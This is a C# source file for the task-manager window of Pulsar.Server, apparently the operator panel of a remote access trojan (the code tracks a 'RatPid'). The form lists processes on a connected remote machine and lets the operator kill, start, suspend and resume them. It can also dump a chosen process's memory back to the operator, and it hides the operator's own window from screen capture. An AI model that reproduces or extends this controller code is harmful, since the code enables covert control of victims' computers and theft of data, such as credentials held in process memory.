Files
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

542 lines
20 KiB
C#

using Pulsar.Common.Enums;
using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.TaskManager;
using Pulsar.Common.Models;
using Pulsar.Server.Controls;
using Pulsar.Server.Controls.Wpf;
using Pulsar.Server.Forms.DarkMode;
using Pulsar.Server.Helper;
using Pulsar.Server.Messages;
using Pulsar.Server.Networking;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Pulsar.Server.Forms
{
public partial class FrmTaskManager : Form
{
private readonly Client _connectClient;
private readonly TaskManagerHandler _taskManagerHandler;
private static readonly Dictionary<Client, FrmTaskManager> OpenedForms = new();
private List<FrmMemoryDump> _memoryDumps = new();
private int? _ratPid = null;
private readonly ProcessTreeView _processTreeView;
private Pulsar.Common.Models.Process[] _currentProcesses = Array.Empty<Pulsar.Common.Models.Process>();
private ProcessTreeSortColumn _sortColumn = ProcessTreeSortColumn.Name;
private bool _sortAscending = true;
private readonly System.Windows.Forms.Timer _countdownTimer;
private int _countdownValue = 7;
private bool _pauseAutoRefresh = false;
private System.Drawing.Color _originalLabelColor;
// Ultra-light update management
private DateTime _lastUpdateTime = DateTime.MinValue;
private readonly TimeSpan _minimumUpdateInterval = TimeSpan.FromMilliseconds(500);
private readonly Queue<Pulsar.Common.Models.Process[]> _updateQueue = new Queue<Pulsar.Common.Models.Process[]>();
private bool _isProcessingQueue = false;
private readonly object _queueLock = new object();
public static FrmTaskManager CreateNewOrGetExisting(Client client)
{
if (OpenedForms.TryGetValue(client, out var form)) return form;
form = new FrmTaskManager(client);
form.Disposed += (s, e) => OpenedForms.Remove(client);
OpenedForms[client] = form;
return form;
}
public FrmTaskManager(Client client)
{
_connectClient = client;
_taskManagerHandler = new TaskManagerHandler(client);
_processTreeView = new ProcessTreeView();
InitializeComponent();
DarkModeManager.ApplyDarkMode(this);
ScreenCaptureHider.ScreenCaptureHider.Apply(this.Handle);
_processTreeView.SortRequested += ProcessTreeView_SortRequested;
_processTreeView.SelectedProcessChanged += ProcessTreeView_SelectedProcessChanged;
processTreeHost.Child = _processTreeView;
_originalLabelColor = toolStripStatusLabel1.ForeColor;
_countdownTimer = new System.Windows.Forms.Timer { Interval = 1000 };
_countdownTimer.Tick += CountdownTimer_Tick;
_countdownTimer.Start();
RegisterMessageHandler();
}
private void AutoExpandFirstExplorer()
{
if (_processTreeView == null) return;
_processTreeView.FlattenNodes();
var allNodesField = typeof(ProcessTreeView)
.GetField("_allNodes", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance);
if (allNodesField == null) return;
var allNodes = allNodesField.GetValue(_processTreeView) as List<ProcessTreeNode>;
if (allNodes == null || allNodes.Count == 0) return;
// Find the main explorer.exe: the one that has child processes
var node = allNodes
.Where(n => string.Equals(n.Name, "explorer.exe", StringComparison.OrdinalIgnoreCase))
.OrderByDescending(n => n.Children.Count) // choose the one with most children
.FirstOrDefault();
if (node != null)
{
// Expand the node's ancestors so the tree path is visible
void ExpandAncestors(ProcessTreeNode target)
{
var rootNodesProperty = typeof(ProcessTreeView)
.GetProperty("RootNodes", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance);
var rootNodes = rootNodesProperty?.GetValue(_processTreeView) as IEnumerable<ProcessTreeNode> ?? Enumerable.Empty<ProcessTreeNode>();
foreach (var root in rootNodes)
{
if (TryExpandPath(root, target)) break;
}
bool TryExpandPath(ProcessTreeNode current, ProcessTreeNode targetNode)
{
if (current == targetNode) return true;
foreach (var child in current.Children)
{
if (TryExpandPath(child, targetNode))
{
current.IsExpanded = true;
return true;
}
}
return false;
}
}
ExpandAncestors(node);
node.IsExpanded = true; // only expand the main explorer.exe node
}
}
private void CountdownTimer_Tick(object sender, EventArgs e)
{
toolStripStatusLabel1.Text = $"Refreshing in {_countdownValue}s...";
if (_countdownValue == 2)
toolStripStatusLabel1.ForeColor = System.Drawing.Color.Yellow;
else if (_countdownValue == 1)
toolStripStatusLabel1.ForeColor = System.Drawing.Color.Green;
else
toolStripStatusLabel1.ForeColor = _originalLabelColor;
if (_countdownValue > 0)
{
_countdownValue--;
}
else
{
if (!_pauseAutoRefresh)
_ = Task.Run(() => _taskManagerHandler.RefreshProcesses());
_countdownValue = 7; // reset to 7 seconds
toolStripStatusLabel1.ForeColor = _originalLabelColor;
}
}
private void RegisterMessageHandler()
{
_connectClient.ClientState += ClientDisconnected;
_taskManagerHandler.ProgressChanged += (s, processes) =>
{
QueueProcessUpdate(processes, _taskManagerHandler.LastProcessesResponse?.RatPid);
};
_taskManagerHandler.ProcessActionPerformed += ProcessActionPerformed;
_taskManagerHandler.OnResponseReceived += CreateMemoryDump;
// Register with MessageHandler if exists
MessageHandler.Register(_taskManagerHandler);
}
private void UnregisterMessageHandler()
{
MessageHandler.Unregister(_taskManagerHandler);
_taskManagerHandler.OnResponseReceived -= CreateMemoryDump;
_taskManagerHandler.ProcessActionPerformed -= ProcessActionPerformed;
_taskManagerHandler.Dispose();
_connectClient.ClientState -= ClientDisconnected;
}
private void ClientDisconnected(Client client, bool connected)
{
if (!connected)
{
this.Invoke((MethodInvoker)this.Close);
}
}
private void QueueProcessUpdate(Pulsar.Common.Models.Process[] processes, int? ratPid)
{
lock (_queueLock)
{
_ratPid = ratPid;
_updateQueue.Clear();
_updateQueue.Enqueue(processes ?? Array.Empty<Pulsar.Common.Models.Process>());
if (!_isProcessingQueue)
{
_isProcessingQueue = true;
_ = Task.Run(ProcessUpdateQueue);
}
}
}
private async Task ProcessUpdateQueue()
{
while (true)
{
Pulsar.Common.Models.Process[] processesToUpdate = null;
lock (_queueLock)
{
if (_updateQueue.Count == 0)
{
_isProcessingQueue = false;
break;
}
processesToUpdate = _updateQueue.Dequeue();
}
if (processesToUpdate != null)
await ProcessAndUpdateAsync(processesToUpdate);
await Task.Delay(10);
}
}
private async Task ProcessAndUpdateAsync(Pulsar.Common.Models.Process[] processes)
{
var timeSinceLastUpdate = DateTime.Now - _lastUpdateTime;
if (timeSinceLastUpdate < _minimumUpdateInterval)
{
await Task.Delay(_minimumUpdateInterval - timeSinceLastUpdate);
}
var processedData = await Task.Run(() => ProcessDataInBackground(processes));
await UpdateUIAsync(processedData);
_lastUpdateTime = DateTime.Now;
}
private ProcessDataResult ProcessDataInBackground(Pulsar.Common.Models.Process[] processes)
{
var sortedProcesses = SortProcesses(processes, _sortColumn, _sortAscending);
return new ProcessDataResult
{
Processes = sortedProcesses,
ProcessCount = processes.Length,
RatPid = _ratPid
};
}
private Pulsar.Common.Models.Process[] SortProcesses(Pulsar.Common.Models.Process[] processes, ProcessTreeSortColumn sortColumn, bool ascending)
{
if (processes == null || processes.Length == 0)
return processes;
try
{
IEnumerable<Pulsar.Common.Models.Process> ordered = sortColumn switch
{
ProcessTreeSortColumn.Pid => processes.OrderBy(p => p.Id),
ProcessTreeSortColumn.WindowTitle => processes.OrderBy(p => p.MainWindowTitle ?? ""),
_ => processes.OrderBy(p => p.Name ?? "")
};
return ascending ? ordered.ToArray() : ordered.Reverse().ToArray();
}
catch
{
return processes;
}
}
private async Task UpdateUIAsync(ProcessDataResult data)
{
if (this.InvokeRequired)
await this.InvokeAsync(() =>
{
_processTreeView.UpdateProcesses(data.Processes, _sortColumn, _sortAscending, _ratPid);
AutoExpandFirstExplorer(); // call after update
});
else
{
_processTreeView.UpdateProcesses(data.Processes, _sortColumn, _sortAscending, _ratPid);
AutoExpandFirstExplorer();
}
UpdateStatusLabel(data.ProcessCount);
}
private void UpdateStatusLabel(int processCount)
{
string sortLabel = _sortColumn switch
{
ProcessTreeSortColumn.Pid => "PID",
ProcessTreeSortColumn.WindowTitle => "Title",
_ => "Name"
};
string orderLabel = _sortAscending ? "asc" : "desc";
processesToolStripStatusLabel.Text = $"Processes: {processCount} | Sort: {sortLabel} ({orderLabel})";
}
private void ProcessActionPerformed(object sender, ProcessAction action, bool result)
{
string text = action switch
{
ProcessAction.Start => result ? "Process started successfully" : "Failed to start process",
ProcessAction.End => result ? "Process ended successfully" : "Failed to end process",
_ => string.Empty
};
if (this.InvokeRequired)
this.Invoke((MethodInvoker)(() => processesToolStripStatusLabel.Text = text));
else
processesToolStripStatusLabel.Text = text;
}
private void FrmTaskManager_Load(object sender, EventArgs e)
{
this.Text = WindowHelper.GetWindowTitle("Task Manager", _connectClient);
_ = Task.Run(() => _taskManagerHandler.RefreshProcesses());
}
private void FrmTaskManager_FormClosing(object sender, FormClosingEventArgs e)
{
_countdownTimer.Stop();
UnregisterMessageHandler();
}
private IEnumerable<Pulsar.Common.Models.Process> GetSelectedProcesses() =>
_processTreeView?.SelectedProcesses ?? Array.Empty<Pulsar.Common.Models.Process>();
private void ProcessTreeView_SortRequested(object sender, SortRequestedEventArgs e)
{
if (_sortColumn == e.Column)
_sortAscending = !_sortAscending;
else
{
_sortColumn = e.Column;
_sortAscending = true;
}
if (_currentProcesses.Length > 0)
_ = Task.Run(() => ProcessAndUpdateAsync(_currentProcesses));
}
private void ProcessTreeView_SelectedProcessChanged(object sender, EventArgs e) { }
private void CreateMemoryDump(object sender, DoProcessDumpResponse response)
{
if (response.Result)
{
this.Invoke((MethodInvoker)(() =>
{
var dumpFrm = FrmMemoryDump.CreateNewOrGetExisting(_connectClient, response);
_memoryDumps.Add(dumpFrm);
dumpFrm.Show();
}));
}
else
{
string reason = string.IsNullOrEmpty(response.FailureReason) ? "" : $"Reason: {response.FailureReason}";
MessageBox.Show($"Failed to dump process!\n{reason}", $"Failed to dump process ({response.Pid}) - {response.ProcessName}");
}
}
public void SetAutoRefreshEnabled(bool enabled) => _pauseAutoRefresh = !enabled;
private void PerformOnSelectedProcesses(Action<Pulsar.Common.Models.Process> action)
{
_pauseAutoRefresh = true;
try
{
var selected = GetSelectedProcesses().ToList();
foreach (var process in selected)
action(process);
}
finally
{
_pauseAutoRefresh = false;
}
}
#region Menu Actions
private void killProcessToolStripMenuItem_Click(object sender, EventArgs e) =>
PerformOnSelectedProcesses(p => _taskManagerHandler.EndProcess(p.Id));
private void startProcessToolStripMenuItem_Click(object sender, EventArgs e)
{
string processName = string.Empty;
if (InputBox.Show("Process name", "Enter Process name:", ref processName) == DialogResult.OK)
_taskManagerHandler.StartProcess(processName);
}
private void refreshToolStripMenuItem_Click(object sender, EventArgs e) =>
_taskManagerHandler.RefreshProcesses();
private void dumpMemoryToolStripMenuItem_Click(object sender, EventArgs e) =>
PerformOnSelectedProcesses(p => _taskManagerHandler.DumpProcess(p.Id));
// Suspend selected processes
private void suspendProcessToolStripMenuItem_Click(object sender, EventArgs e) =>
PerformOnSelectedProcesses(p => _taskManagerHandler.SuspendProcess(p.Id, true));
// Resume selected processes
private void resumeProcessToolStripMenuItem_Click(object sender, EventArgs e) =>
PerformOnSelectedProcesses(p => _taskManagerHandler.SuspendProcess(p.Id, false));
private void topmostOnToolStripMenuItem_Click(object sender, EventArgs e) =>
PerformOnSelectedProcesses(p => _taskManagerHandler.SetTopMost(p.Id, true));
private void topmostOffToolStripMenuItem_Click(object sender, EventArgs e) =>
PerformOnSelectedProcesses(p => _taskManagerHandler.SetTopMost(p.Id, false));
// New: Minimize / Maximize
private void minimizedToolStripMenuItem_Click(object sender, EventArgs e) =>
PerformOnSelectedProcesses(p => _taskManagerHandler.SetWindowState(p.Id, true));
private void maximizedToolStripMenuItem_Click(object sender, EventArgs e) =>
PerformOnSelectedProcesses(p => _taskManagerHandler.SetWindowState(p.Id, false));
#endregion
private string _lastSearchKeyword = ""; // Stores last search
protected override bool ProcessCmdKey(ref Message msg, Keys keyData)
{
// Handle Ctrl + F globally
if (keyData == (Keys.Control | Keys.F))
{
ShowSearchDialog();
return true;
}
return base.ProcessCmdKey(ref msg, keyData);
}
private void ShowSearchDialog()
{
string prompt = "Search by name, window title, or PID. Enter keywords separated by spaces. Leave text selected and click Enter/OK to find next.";
string keyword = Microsoft.VisualBasic.Interaction.InputBox(
prompt,
"Find Process",
_lastSearchKeyword);
if (string.IsNullOrWhiteSpace(keyword))
keyword = _lastSearchKeyword;
if (!string.IsNullOrWhiteSpace(keyword))
{
_lastSearchKeyword = keyword.Trim();
_processTreeView.FlattenNodes();
_processTreeView.FindNext(_lastSearchKeyword);
}
}
// Optional: keep your menu item wired up too
private void searchToolStripMenuItem_Click(object sender, EventArgs e)
{
ShowSearchDialog();
}
private void enableDisableAutoRefreshToolStripMenuItem_Click(object sender, EventArgs e)
{
// Toggle auto-refresh
_pauseAutoRefresh = !_pauseAutoRefresh;
// Toggle menu item checkmark
if (sender is ToolStripMenuItem menuItem)
menuItem.Checked = !_pauseAutoRefresh;
// Update status label
if (_pauseAutoRefresh)
{
toolStripStatusLabel1.Text = "Auto refresh disabled";
toolStripStatusLabel1.ForeColor = System.Drawing.Color.Red;
_countdownTimer.Stop(); // stop ticking
}
else
{
toolStripStatusLabel1.Text = $"Refreshing in {_countdownValue}s...";
toolStripStatusLabel1.ForeColor = _originalLabelColor;
_countdownTimer.Start(); // resume ticking
}
}
private void SetSuspendStateForSelectedProcesses(bool suspend)
{
PerformOnSelectedProcesses(p => _taskManagerHandler.SuspendProcess(p.Id, suspend));
}
private void beginSuspendToolStripMenuItem_Click(object sender, EventArgs e)
{
SetSuspendStateForSelectedProcesses(true);
}
private void endSuspendToolStripMenuItem_Click(object sender, EventArgs e)
{
SetSuspendStateForSelectedProcesses(false);
}
}
public class ProcessDataResult
{
public Pulsar.Common.Models.Process[] Processes { get; set; } = Array.Empty<Pulsar.Common.Models.Process>();
public int ProcessCount { get; set; }
public int? RatPid { get; set; }
}
public static class ControlExtensions
{
public static Task InvokeAsync(this Control control, Action action)
{
var tcs = new TaskCompletionSource<object>();
control.BeginInvoke((Action)(() =>
{
try
{
action();
tcs.SetResult(null);
}
catch (Exception ex)
{
tcs.SetException(ex);
}
}));
return tcs.Task;
}
}
}